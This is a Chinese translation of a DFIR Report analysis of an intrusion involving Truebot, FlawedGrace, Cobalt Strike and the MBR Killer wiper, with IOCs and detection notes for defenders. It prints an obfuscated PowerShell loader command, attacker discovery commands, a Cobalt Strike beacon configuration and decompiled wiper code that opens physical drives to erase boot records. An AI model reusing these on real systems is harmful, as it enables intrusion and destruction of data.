原文链接:
https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/
在今年5月份的一次入侵中,我们发现攻击者使用Truebot(https://malpedia.caad.fkie.fraunhofer.de/details/win.silence)部署了Cobalt Strike和FlawedGrace(https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace)又称GraceWire或BARBWIRE。最终攻击者窃取了目标网络中的数据并且部署了MBR Killer恶意软件。从攻击者突破边界到部署磁盘擦除工具仅用29小时。 今年5月份,Proofpoint的威胁研究员报告了Truebot恶意软件的相关攻击活动。攻击者首先通过电子邮件投递带有TDS链接的邮件,受害者点击链接后,经过多次URL重定向最终访问恶意文件的下载页面。 文件下载到本地是一个伪装成Adobe Acrobat 文档的Truebot可执行文件。运行这个文件,Truebot会备份并重命名自身。几分钟后,Truebot在失陷主机上加载了FlawedGrace。在此期间,Truebot修改了注册表配置进行权限维持并通过Print Spooler服务提权。随后将FlawedGrace的载荷进行解密、解码并注入到msiexec.exe和svchost.exe中。
恶意软件运行之后,攻击者在失陷主机中关闭了Windows Defender 实时防护服务并将恶意软件的可执行文件都添加到了Windows Defender的例外策略中。我们发现FlawedGrace创建了临时用户并添加到管理员和RDP用户组。随后攻击者尝试从FlawedGrace的C2服务器RDP连接到失陷主机上,但看上去并没有成功,再次尝试依然登录失败,15分钟后攻击者删除了这个临时用户。随后FlawedGrace进程开始执行域内信息收集工作。
恶意软件运行两小时后,Truebot进程在内存加载了Cobalt Strike载荷。并执行了net、nltest、tasklist和adfind.exe命令进行内网探测。在转储失陷主机的LSASS进程后,攻击者得到本地管理员的HASH并通过PTH攻击在内网进行横向移动。攻击者使用Impacket的atexec在远程主机上执行内网探测相关命令、使用Cobalt Strike的jump psexec模块在多台主机间移动并在每一台主机的内存中加载FlawedGrace。
入侵开始五小时后,攻击者暂时休息,除了跳板机外其他主机上的FlawedGrace和Cobalt Strike会话都进入休眠状态。十七小时后,攻击者返回网络并开始枚举网络中的共享资源,此时我们发现攻击者有一些窃取数据的行为。
在不到29小时的时间内,攻击者通过FlawedGrace会话在所有失陷主机上部署MBR Killer进行MBR主引导记录覆盖并重启失陷主机,这导致所有失陷主机无法正常开机使用。随着这些操作完成,攻击者也失去了对网络的控制权。显然数据已经外泄,但至今没有攻击团伙和勒索组织声称是他们发起了这次攻击。
Truebot,又称Silence.Downloader(https://malpedia.caad.fkie.fraunhofer.de/details/win.silence),由攻击团伙Silence开发。Silence与以金钱为动机的犯罪团伙TA505(https://malpedia.caad.fkie.fraunhofer.de/actor/ta505)有着长期的往来。据报道,FlawedGrace恶意软件(https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace)通常由Truebot进行分发,且同样与TA505网络犯罪团伙有关。
最近,微软报告了一个Lace Tempest攻击团伙的相关活动(https://twitter.com/MsftSecIntel/status/1651346659291308036?s=20),微软发现Lace Tempest进行了Cl0p勒索行动。“Lace Tempest (DEV-0950)是一个Clop勒索软件的合作伙伴,过去的勒索软件活动中观察到他们相互交易使用GoAnywhere漏洞和Raspberry Robin获取的权限。”
“Lace Tempest 有两种运行模式,一种是在企业范围内部署Cl0p勒索软件;另一种模式是攻击文件传输服务器,窃取数据后安装mbr killer。这两种模式的受害者都会被挂在Cl0p网站上(即使没有部署勒索软件)。
– Christopher Glyer, Principal Security Researcher with Microsoft Threat Intelligence
微软在报告中将MBR Killer工具归因到 Lace Tempest攻击团伙,该团伙存在利用CVE-2023-34362 MOVEit Transfer 0day漏洞进行攻击的行为(https://twitter.com/cglyer/status/1665539162462736386)。
据Mandiant报告,在2023年1月FIN11攻击团伙在利用SolarWinds Serv-U server 漏洞CVE-2012-35211后,部署了TRUECORE(Truebot的一个分支版本)和BARBWIRE(即FlawedGrace)。BARBWIRE启动后回连C2服务器:5.188.86[.]18:443,这个C2服务器也出现在本次入侵案例中。同年4月,Mandiant又发现了一个BARBWIRE的C2服务器:92.118.36[.]199:443,在本次入侵案例中同样出现。Mandiant还注意到shellcode载荷被存储在一个TRUECORE的C2服务器上,指向5.188.206[.]78,这也是本次案例中的Cobalt Strike服务器。Mandiant还确认,他们早在2019年就发现FIN11使用MBR Killer。根据Mandiant的说法,FIN11自2018年以来一直在使用BARBWIRE,并且他们认为这个后门程序是该威胁组织专用的。
基于这些TTPs,我们认为这次入侵事件与Lace Tempest、FIN11和TA505相关性非常高。
如其他入侵案例一样,这次的案例依然是从钓鱼邮件开始的。Proofpoint的研究人员在下图(https://twitter.com/threatinsight/status/1666441387447926797)中展示了攻击者如何利用404流量分发系统让邮件收件人在点击链接之后跳转到文件下载页面的(https://twitter.com/threatinsight/status/1666403634312105987)。
在这次入侵案例中,TDS重定向进行了以下跳转(https://twitter.com/threatinsight/status/1666489627622899712):
hxxps[:]//hrcbishtek[.]com/{5 alphanumeric characters}
hxxps[:]//imsagentes[.]pe/dgrjfj
hxxps[:]//imsagentes[.]pe/dgrjfj/
hxxps[:]//ecorfan[.]org/base/sj/Document_may_24_16654.exe
最终用户在没有任何操作的情况下就下栽到了一个看上去像是PDF文档的文件Document_may_24_16654.exe,这个文件其实是Truebot的可执行文件。
Truebot进程在跳板机上加载了Cobalt Strike和FlawedGrace载荷。
Truebot
Document_may_24_16654.exe即Truebot载荷,使用了Adobe Acrobat文档的图标。
打开这个文件时还会提示文件已损坏,这让受害者更加真实地认为这个可执行文件是一个普通的PDF文档。
Truebot运行后做的第一件事就是复制自己到以下路径并执行它。
C:\Intel\RuntimeBroker.exe
复制的新可执行文件会连接C2服务器:essadonio[.]com (45.182.189[.]71).
Cobalt Strike
Truebot产生了一个子进程C:\Windows\system32\cmd.exe,随后在这个进程中创建远程线程,并将内存空间设置成可执行权限,在内存中可以看到PE文件的MZ(0x4d5a)头部标志。这是非常明显的进程注入痕迹。
进一步取证后发现在加载模块偏移量0x164a2fb0000处存在beacon.dll,这是Cobalt Strike生成载荷的默认名称,DLL文件没有完整的本地磁盘路径显得更加违和。Cobalt Strike用于信息收集和横向移动,详情见后续章节。
Cobalt Strike进程又产生了以下命令进程:
ping -n 1 <REDACTED>shell wmic /node:<REDACTED> process get executablepath
正如我们之前的报告中发现的一样,攻击者也会犯错,以上命令中shell被混在前后两个DOS命令之间,而shell命令其实是Cobalt Strike的指令。
FlawedGrace
除了 Cobalt Strike,Truebot 还加载了另一个更复杂的有效负载,即远程访问木马 (RAT) “FlawedGrace”。我们在多台失陷主机上发现了FlawedGrace。FlawedGrace的执行链首先创建了一个spoolsv.exe进程,Truebot的进程RuntimeBroker.exe很快创建了一个远程线程访问spoolsv.exe,之后spoolsv.exe产生了新的进程msiexec.exe并且回连C2服务器:92.118.36[.]199
FlawedGrace并没有使用schtasks.exe来创建计划任务,而是分别使用三种不同的方式实现。第一种方式将taskschd.dll动态链接库导入当前进程,并创建了名为2的计划任务。在获取到SYSTEM权限后这个计划任务就被删除了。
第二种方式是通过Schedule.Service的COM对象创建的,这个执行命令是由混淆的PowerShell代码完成的。
最后一种方式是使用原生PowerShell的内置命令(cmdlets)去注册一个任务。Register-ScheduledTask是内置在 PowerShell 中的Windows计划任务管理“模块”中的命令。内置模块是运行 PowerShell 语言时自动加载的预写入模块。
初始任务\2 在功能是在创建一分钟后执行下面的命令:
powershell -c "&{(-join('246A3D277B38443831363736432D374636332D384638312D363736452D3636364236433637383138447D273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728286770202827686B6C6D3A5C736F6674776172655C325C636C7369645C272B246A2B275C747970656C69622729292E246A29297C2E28282D6A6F696E2828246572726F722E746F737472696E672829295B2831342A31292C28342F31292C5B696E745D28313636352F31363531295D29292E7265706C616365282779272C2778272929'-split'(..)'|?{$_}|%{ [char] [convert]::ToUInt32($_,16)}))|.((-join(($error.tostring())[(14/1),(4*1),$true])).replace('y','x'))}"
该命令的第一部分的功能是解码混淆后的字符串并生成以下 PowerShell 代码:
$j='{8D81676C-7F63-8F81-676E-666B6C67818D}';([Text.Encoding]::UTF8.GetString((gp ('hklm:\\software\\2\\clsid\\'+$j+'\\typelib')).$j))
解码代码将变量 $j 设置为值 {8D81676C-7F63-8F81-676E-666B6C67818D}。然后它从 SOFTWARE\2\CLSID\{8D81676C-7F63-8F81-676E-666B6C67818D}\Type键下的Windows注册表中读取一个值,将该值转换为 UTF-8 字符串并执行它。
基于脚本块日志记录,注册表中包含的 PowerShell 脚本将使用 HKLM:\Software\2\CLSID 作为暂存位置来操作和填充 HKLM:\Software\Classes\CLSID\ 键中的更多注册表项。该恶意软件创建了特定的键名,试图与同样保存在该位置的其他 COM 对象混淆。该恶意软件会使用以下随机选择的名称之一创建额外的计划任务:
\Microsoft\Windows\System diagnostics service
\Microsoft\Windows\System diagnostics monitor
\Microsoft\Windows\System monitor
\Microsoft\Windows\System service
最终加载的 PowerShell 脚本存储在这里:
HKLM\Classes\CLSID\{8D81676C-7F63-8F81-676E-666B6C67818D}\TypeLib
TypeLib 中的PowerShell代码将使用基于目标主机的主机名($env:COMPUTERNAME)的密钥对存储在 ProgID 中的 RC4 加密负载进行解密,然后将 DLL 注入 FlawedGrace msiexec.exe 和 svchost.exe 进程。
存储在注册表中的加密DLL
我们手动逆向RC4函数来解密DLL,它与内存中的FlawedGrace进程(c.dll)匹配相同的哈希
注入模块c.dll的PE细节是一个原名为icuin.dll的DLL,自称是Unicode库的International Components的一部分,如下所示:
当 FlawedGrace 尝试在目标主机上运行某些命令时有个容易辨识的行为特征,FlawedGrace会产生一个傀儡进程cmd.exe,傀儡进程再产生子进程执行相关命令。
在生成这些 cmd.exe 实例后不久,运行着FlawedGrace 的进程 svchost.exe 将访问它们。
值得注意的是,这些进程命令行中的参数使用了不存在的标志(/I、/SI、/O、/SO):
可以在报告末尾找到检测此活动的 Sigma 规则。
攻击者在网络中所有受感染主机上进行权限维持的方法。例如添加计划任务使用 PowerShell 加载 FlawedGrace。在最初运行FlawedGrace创建的计划任务名为 \2 ,但后期权限维持创建的任务使用模仿各种系统任务的命名约定,并放置在\Microsoft\Windows\ 任务路径下。
\Microsoft\Windows\System diagnostics monitor
\Microsoft\Windows\System monitor
\Microsoft\Windows\System service
这些计划任务被设置成开机时执行,以便计算机重启后依然运行恶意软件。
有关攻击者用于注册这些计划任务的不同执行方法的详细信息,请参阅执行部分的“FlawedGrace”部分。
在滩头主机上(beachhead是指攻击者在网络中建立持久性或控制一个主机的初始入口点),攻击者添加了一个名为 adminr 的用户帐户。然后将此帐户添加到本地管理员组和远程桌面用户组。随后,观察到该帐户被用于测试环境中的 RDP 隧道。该帐户被多次添加和删除,但在初始访问的三个小时后,它被删除并且没有被威胁者重新添加。
权限提升(Privilege Escalation)我们认为,为了提升他们的权限,攻击者可能滥用了围绕更改服务权限的奇怪的默认 Windows 行为:
所需 [服务] 权限的更改将在服务下次启动时生效。[…] 如果您没有设置所需的权限,SCM 将使用默认分配给进程令牌的所有权限 。(https://learn.microsoft.com/en-us/windows/win32/api/winsvc/ns-winsvc-service_required_privileges_infoa#remarks)
为了滥用此SCM行为,我们看到攻击者在删除该服务的 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Spooler\RequiredPrivileges 注册表项之前停止了 Spooler 服务,重新启动该服务,并注入到新创建的 spoolsv.exe 进程
。
可以在以下屏幕截图中观察到删除 RequiredPrivileges 注册表项的效果,其中可以看到修改后的 spoolsv.exe 进程具有一系列额外的权限,所有这些权限攻击者都可以在注入后使用。
由于恶意软件大部分都由计划任务启动,因此攻击者直接获得了SYSTEM权限。例如FlawedGrace最初创建的计划任务:
在Sysmon的进程创建日志中我们也可以观察到进程以 NT AUTHORITY\SYSTEM权限运行:
执行后不久,Truebot 恶意软件将初始恶意软件复制到一个新位置,将自身重命名为 RuntimeBroker.exe,伪装成负责管理某些应用程序权限的可执行文件。
正如执行部分所述,FlawedGrace 使用多种技术来规避检测,包括编码、加密和将有效负载存储在注册表中。执行时,命令行数据被编码。有关编码的详细信息请参阅执行部分。
在运行时,FlawedGrace 恶意软件会解密存储在注册表的RC4加密载荷:
我们在这次入侵中观察到所有三个恶意软件家族的进程注入。首先,Truebot 使用它将 Cobalt Strike 有效负载注入 cmd.exe 进程。
查看内存转储,在注入的 cmd.exe 进程中很容易观察到为 Cobalt Strike 信标注入的 MZ 标头。(splunk博客分析讨论Cobalt Strike beacon注入时的MZ标头特征)
Cobalt Strike 并不是唯一具有可观察标头的注入,每个 svchost.exe 和 msiexec.exe 还包含明显的注入标志,如 PAGE_EXECUTE_READWRITE 保护和 MZ 文件标头。
在整个入侵过程中观察到使用 postex_* 模式的标准 Cobalt Strike 命名管道。
\postex_0c2a
\postex_e3dc
\postex_7c32
\postex_8e03
\postex_f3cc
\postex_56b2
\postex_8c98
\postex_6ab5
\postex_7e1e
\postex_982c
\postex_a34b
\postex_7007
\postex_9e6a
\postex_ec79
\postex_5ef6
\postex_a195
\postex_10a9
\postex_511b
\postex_ffda
\postex_464b
\postex_dbf3
\postex_eb5d
\postex_1276
\postex_181d
\postex_8c48
在 FlawedGrace PowerShell 执行期间删除了一些注册表项,特别是存储在 HKLM:\SOFTWARE\2\ 中的项:
在用于横向移动后,观察到文件被删除,其中 AdFind.exe 被攻击者删除以及 Cobalt Strike beacon删除。
在边界突破约一小时后,我们发现攻击者使用远程转储工具导出注册表中的Windows凭证,目前我们无法确定攻击者使用的具体工具,从访问凭证的日志中分析,这个工具与secretsdump类似。这是 Impacket 库中的一个工具。
我们发现攻击者在C:\windows\system32目录下产生了两个临时文件,文件名使用八个随机字符组成。并且攻击者开启了Windows系统远程注册表服务,以便在远程访问注册表和导出凭证。这个链接是使用secretsdump远程导出注册表凭证的示例:https://github.com/fortra/impacket/blob/efc6a1c365d5e0317ebe6a432448c861616859a7/impacket/examples/secretsdump.py#L374
我们认为攻击者使用了旧版本的 impacket 库。这是因为自 2023 年 5 月 4 日起, 0.10.0 版本 修改了注册表配置单元提取的位置。它们现在保存为 C:\Windows\Temp 目录下的临时文件。然而,本例中,我们观察到 C:\Windows\System32 下存在临时文件,这表明使用了旧版本的 impacket。
在查看滩头主机上事件 ID 4624 的安全事件日志和 Sysmon 事件日志(事件 ID 1 和 10)后,我们确定攻击者利用 Pass-The-Hash 以本地管理员用户身份在远程主机上运行命令.
安全日志 | 系统日志 |
4624 – 登录类型:9LogonProcess:seclogo | 1 – Cobalt Strike 执行 |
| 10 – Cobalt Strike 访问 LSASS 进程 |
在考虑这一证据时,时间顺序是一个关键因素。为了防止误报,防御者可以根据执行时间将相关事件分组在一起。但是,我们还包含了能够单独识别这些执行模式的特定 Sigma 规则。请参阅 本报告“检测”部分中的这些规则。
我们还观察到攻击者利用 for 循环遍历位于 C:\ProgramData 目录中的文本文件。这些文件包含网络环境中所有工作站和服务器的主机名。此循环的目的是执行发现命令,使用 ping 定位实时端点并使用 net view 枚举其打开的共享。
此外,他们还使用 dir 命令来测试通过本地管理员帐户连接到网络内远程服务器的可行性。
C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\servers_live.txt) do net view \\%i /all >> C:\ProgramData\servers_live_netview.txtC:\Windows\system32\cmd.exe /C for /f %%i in (C:\ProgramData\servers_live.txt) do dir \\%%i\C$ >> C:\ProgramData\servers_live_dir.txt
C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\hosts.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\hosts_live.txt
C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\servers.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\servers_live.txt
除了使用 net view 查找打开的共享外,攻击者还检查了本地主机的注册表并将所有映射共享的列表保存在名为 1.txt 的文本文件中。我们还观察到他们使用 wmic 命令在远程主机上执行相同的操作。
cmd /C > C:\ProgramData\1.txt 2>&1 reg query HKEY_USERS\\<SID>\Network
C:\Windows\system32\cmd.exe /C wmic /node:<REDACTED> process call create "cmd /C > C:\ProgramData\1.txt 2>&1 reg query HKEY_USERS\<SID>\Network"
他们后来分别使用 type 和 del 命令查看和删除了文本文件。
为了检查已安装的反恶意软件的状态,他们使用了 PowerShell 和 Get-MpComputerStatus 内置命令。此命令在环境中的多个主机上运行。我们相信此命令的执行是通过 atexec.py执行的,它是 impacket 集合的一部分。
cmd.exe /C powershell Get-MpComputerStatus > C:\Windows\Temp\KMzFGwGn.tmp 2>&1
AdFind 被用于这次入侵,然而,攻击者将输出限制为仅从域用户对象收集操作系统信息和特定属性。
C:\Windows\system32\cmd.exe /C AdFind.exe -f "&(objectcategory=computer)" operatingSystem -csv > 1.csv
C:\Windows\system32\cmd.exe /C AdFind.exe -f "objectcategory=person" sAMAccountName name displayName givenName department description title mail logonCount -csv > person.csv
我们还观察到在每次入侵中我们往往会看到的其他一些杂项命令。这些发现命令收集有关管理员组和用户的信息。不过,tasklist 命令有一个值得注意的用途,其中攻击者使用 /S 参数从远程主机检索当前正在运行的进程列表。
quser
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net group /domain
net localgroup "Remote Desktop Users"
net localgroup Administrators
net user <user> /domain
nltest /domain_trusts
tasklist /S <IP of remote host>
攻击者主要使用 Cobalt Strike 的 jump psexec 模块移动到新主机。System.evtx 中的事件 ID 7045(系统中安装了一项新服务)显示了正在安装恶意服务的明确证据。
DFIR 报告的 Cobalt Strike 防御者指南对此进行了更详细的讨论。
如下所示,当过滤到这些事件时,我们观察到攻击者每 5-20 分钟移动到一个新系统。
正如我们在发现阶段提到的,攻击者还使用 atexec 在远程主机上执行命令。Impacket 的 atexec 模块允许通过利用 Task Scheduler 服务在 Windows 系统上远程执行命令。该模块在远程系统上注册一个任务,该任务将执行指示的命令。该任务将在成功执行后被删除。下面的示例来自安全事件日志,事件 ID 4698。
为了展示观察到的执行流程的硬编码代码行,我们在上面的屏幕截图中放了 atexec 官方 GitHub 页面的一个片段。 攻击者使用 Cobalt Strike 来执行此模块。
在其他一些情况下,我们看到攻击者从滩头主机向许多远程主机执行以下命令。
cmd.exe /C wmic /node:<remote host> process get executablepath
此命令使用 Windows Management Instrumentation CommandLine (WMIC) 从许多远程主机远程检索所有正在运行的进程的可执行路径。
/node:<远程主机>:指定远程主机。
process:表示要查询的WMI类;在这种情况下,它与目标系统上运行的进程有关。
get executablepath: 是检索属性'ExecutablePath',其中包含每个正在运行的进程的可执行文件的完整路径。
我们创建了一个图表,显示攻击者在网络中活跃的时间 (UTC)。该数据基于受影响主机的样本,但活动模式在整个入侵过程中保持一致。
在整个入侵过程中,攻击者在临时目录或 C:\ProgramData 中暂存他们发现的结果。提醒一下,以下发现命令将其结果重定向到 C:\ProgramData\hosts_live.txt 和 C:\ProgramData\servers_live.txt。
C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\hosts.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\hosts_live.txt
C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\servers.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\servers_live.txt
此外,填充和收集的文件包括以下文件,在C:\ProgramData目录下直接创建文件的行为或许是一个威胁检测和威胁狩猎的思路,因为正常的应用只会在C:\ProgramData目录下创建子目录,而不会直接在这个目录下新建文件。
C:\ProgramData\1.txt
C:\Windows\Temp\KMzFGwGn.tmp
C:\ProgramData\1.csv
C:\ProgramData\person.csv
C:\ProgramData\servers_live_dir.txt
命令和控制(Command and Control)Truebot
在初始访问可执行文件执行后不久,开始与地址为 45.182.189[.]71 的 Truebot C2 服务器的通信。然而,这种连接,在滩头主机上只持续了大约两个小时,并且在 Cobalt Strike 信标负载加载到主机上后活动停止。
域名 | IP | 端口 | JA3 | JA3s |
essadonio[.]com | 45.182.189[.]71 | 443 | a0e9f5d64349fb13191bc781f81f42e1 | f14f2862ee2df5d0f63a88b60c8eee56 |
essadonio[.]com | 45.182.189[.]71 | 443 | a0e9f5d64349fb13191bc781f81f42e1 | f33734dfbbff29f68bcde052e523c287 |
Certificate: [39:d7:cf:9d:0a:39:f6:b6:e4:cc:af:2e:34:9e:07:48:48:be:d1:ea]
Not Before: 2023/05/18 00:00:00 UTC
Not After: 2023/08/16 23:59:59 UTC
Issuer Org: ZeroSSL
Subject Common: essadonio.com [essadonio.com ,www.essadonio.com]
Public Algorithm: id-ecPublicKey
Curve prime: 256v1
JARM: 28d28d28d00028d00042d42d0000005a3e96c1dfa4bdb24b8b3c04cae18cc3
查看从滩头主机收集的内存,我们可以观察到 Runtimebroker.exe 与 Truebot 命令和控制服务器的连接,Runtimebroker.exe 是从初始恶意软件负载复制后重命名的可执行文件。
Flawed Grace
FlawedGrace 恶意软件不同于我们在之前报告中介绍的任何命令和控制,因为它使用 自定义二进制协议,而不是更常见的应用层协议,如 HTTP/s、RDP 或 SSH。
在入侵过程中,攻击者转向多个命令和控制地址,多个 C2 地址之间存在重叠时间。在入侵过程中,此活动发生了数次。
除了在命令和控制服务器之间切换外,攻击者还在入侵过程中开始与各种主机进行通信,但没有主机保持持续的信标。
由于此恶意软件使用自定义协议,因此不存在 SSL 证书或 JA3 等正常指标。
IP | 端口 |
81.19.135[.]30 | 443 |
92.118.36[.]199 | 443 |
5.188.86[.]18 | 443 |
从跳板机和其他几台失陷主机的内存中,我们发现一台服务器内存中保留了FlawedGrace 所在进程svchost.exe到C2服务器的网络连接状态
在入侵的第一天,攻击者从FlawedGrace C2服务器发起RDP连接,这个源IP命中了网络检测规则,但攻击者没有后续活动,我们推测攻击者的RDP隧道功能出现了异常。
签名 | 源IP |
ET POLICY Tunneled RDP msts Handshake | 92.118.36[.]199 |
这也可能解释了删除已添加到远程桌面用户组的本地用户帐户的原因。
Cobalt Strike
与观察到的其他两个恶意软件系列不同,Cobalt Strike 在加载第一个信标后一直与其命令和控制服务器保持通信,直到入侵结束。
虽然 Cobalt Strike 命令和控制在入侵期间保持活跃,但攻击者确实有选择地在主机上部署和删除它,只有滩头主机在整个期间保持信标活动。
IP | 端口 | JA3 | JA3s |
5.188.206[.]78 | 443 | 72a589da586844d7f0818ce684948eea | f176ba63b4d68e576b5ba345bec2c7b7 |
Certificate: [6e:ce:5e:ce:41:92:68:3d:2d:84:e2:5b:0b:a7:e0:4f:9c:b7:eb:7c]
Not Before: 2015/05/20 18:26:24 UTC
Not After: 2025/05/17 18:26:24 UTC
Issuer Org:
Subject Common:
Subject Org:
Public Algorithm: rsaEncryption
Cobalt Strike 信标配置:
{
"beacontype": [
"HTTPS"
],
"sleeptime": 60000,
"jitter": 0,
"maxgetsize": 16777216,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 1580103824,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "5.188.206.78",
"port": 443,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCpq+thntRoA67IEQOJ9T8JfpepBXCrOX43GMXPArNSegjOtHm8eQ7971m0anDglcLtW/9qf38KJfsVGPYW60xHzoKm/K2gr+zgNEUL8sxHErfehglDZexWDY6/Gl+sbM8i5RhN6cT1e7PSr36q9U9a3gCVukKeto0KxG5L0rhDOQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/ga.js",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
},
"server": {
"output": [
"print"
]
}
},
"http-post": {
"uri": "/submit.php",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
},
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
},
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
"spawnto_x64": "%windir%\\sysnative\\rundll32.exe"
},
"process-inject": {
"allocator": "VirtualAllocEx",
"execute": [
"CreateThread",
"SetThreadContext",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 0,
"startrwx": true,
"stub": "ezN0tALmJbn0hY8yMkftaA==",
"transform-x86": null,
"transform-x64": null,
"userwx": true
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": null,
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": false
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
在入侵的第二天,从文件服务器开始通过端口 4433 连接到 IP 139.60.160[.]166。进程树表明 FlawedGrace 恶意软件注入了文件服务器上的 svchost 和 msiexec 并启动了传输。其他报告表明 Truebot/FlawedGrace 入侵适用自定义工具进行数据提取。我们没有观察到任何额外的二进制文件被丢弃到磁盘来执行提取。由于 FlawedGrace 进程建立了 TCP 连接,我们以适度的信心评估该功能包含在 FlawedGrace 恶意软件本身中。
观察到两个不同的渗出期大约相隔两个小时。
网络流量不是通过 TLS 连接发送的,而是通过 TCP 协议发送的。
该数据无法以纯文本形式观察到,表明可能正在使用其他混淆/加密方法。使用两个会话之间的流数据,我们能够验证泄露了千兆字节的数据。
在窃取数据后的四小时内,即首次执行仅 29 小时后,攻击者开始部署 MBR Killer(又名 KillDisk),该软件因在 2016 年智利银行攻击中的使用而闻名。正如 Flashpoint 所记录的那样,擦除器是一个 NSIS(Nullsoft Scriptable Install System)脚本,能够在强制重启之前擦除设备的 MBR(主引导记录)、MFT(主文件表)、VBR(卷引导记录)和 EBR(扩展引导记录)以使设备无法运行。在这个破坏性阶段,在跳板机上攻击者将文件命名为 C:\ProgramData\chrome.exe,而在其他服务器上使用的 C:\Windows\Temp\[0-9a-f]{32}.exe 的命名模式。
作为一种防御规避技术,MBR Killer 已被观察到使用依赖于非标准标头的修补 NSIS 安装程序。一旦有效负载签名得到纠正,NSIS 反编译器(例如 7zip (9.34 – 15.05))就能够提取恶意 NSIS 脚本。
起源 | 十六进制签名 |
NSIS规范 | EF BE AD DE 4E 75 6C 6C 73 6F 66 74 49 6E 73 74 |
DFIR 报告的 MBR Killer | EF BE AD DE 4E 75 6C 6C 73 6F 66 74 49 90 73 74 |
智利银行的 MBR Killer | EF BE AD DE 4E 75 6C 6C 73 6F 66 74 49 6E 73 85 |
这种定制为防御者提供了检测机会,如下文提供的 YARA 规则所述。
在初始化期间,MBR Killer 通过移动到屏幕外来视觉上隐藏自己。
Function .onGUIInit
System::Call "User32::SetWindowPos(i, i, i, i, i, i, i) i
($HWNDPARENT, 0, -10000, -10000, 0, 0, 0x0200|0x0001)"
FunctionEnd
一旦隐藏,恶意安装程序会通过临时patch本机 Windows ZwClose 函数(ntdll.dll 的一部分)来验证它是否正在被模拟。以便在通过 kernel32::CloseHandle(0x12345678)在 关闭虚拟句柄之前,立即成功执行 STATUS_SUCCESS 并验证它,尽管句柄无效,CloseHandle 方法会成功。
System::Call "kernel32::GetModuleHandle(t) p ('ntdll.dll') .r0"
IntCmp $0 0 label_exit
System::Call "kernel32::GetProcAddress(p, t) p (r0, 'ZwClose') .r1"
IntCmp $1 0 label_exit
System::Call "kernel32::VirtualProtect(p, i, i, *i) i (r1, 6, 0x40, .r2) .r0"
IntCmp $0 0 label_exit
System::Alloc 6
Pop $3
System::Call "ntdll::memcpy(p, p ,i) i (r3, r1, 6)"
System::Call "ntdll::memcpy(p, t, i) i (r1, t '1ÀYZÿá', 6)"
System::Call "kernel32::CloseHandle(i) i (0x12345678) .r4"
System::Call "ntdll::memcpy(p, p, i) i (r1, r3, 6)"
IntCmp $4 1 0 label_exit label_exit
如果反分析检查成功,脚本会发出 HideWindow NSIS 调用, 隐藏安装程序并继续通过打开它来验证第一个物理驱动器 \\.\PHYSICALDRIVE0 的存在。
Function func_open_physicaldrive
IntFmt $1 \\.\PHYSICALDRIVE%d $0
Push $0
StrCpy $0 $1
System::Call "Kernel32::CreateFile(t, i, i, i, i, i, i) i ('$0', 0x80000000|0x40000000, 0x1|0x2, 0, 3, 0x80, 0) .r2"
Pop $0
FunctionEnd
一旦第一个 \\.\PHYSICALDRIVE0 驱动器打开,MBR Killer 会有条件地尝试擦除:
然后MBR Killer 通过在偏移量 0 处写入 512 个空字节来擦除 MBR(主引导记录)三次,并尝试在下一个可用磁盘(\\.\PHYSICALDRIVE1、\\.\PHYSICALDRIVE2,...)上重复擦除。
label_check_physicaldrive:
Call func_open_physicaldrive
IntCmp $2 -1 label_goto_exit
System::Call "kernel32::SetFilePointer(i, i ,i ,i) i (r2, 0, 0, 0) .r3"
IntCmp $3 -1 label_close_physicaldrive
System::Alloc 4
Pop $3
System::Call "kernel32::ReadFile(i, i, i, p, i) i (r2, r9, 512, r3, 0) .r4"
System::Free $3
IntCmp $4 1 0 label_close_physicaldrive label_close_physicaldrive
Push $0
Push $2
Push $9
Push $2
Push $9
Call func_wipe_mft_vbr__ebr
Pop $9
Pop $2
Pop $0
System::Alloc 512
Pop $5
System::Alloc 4
Pop $6
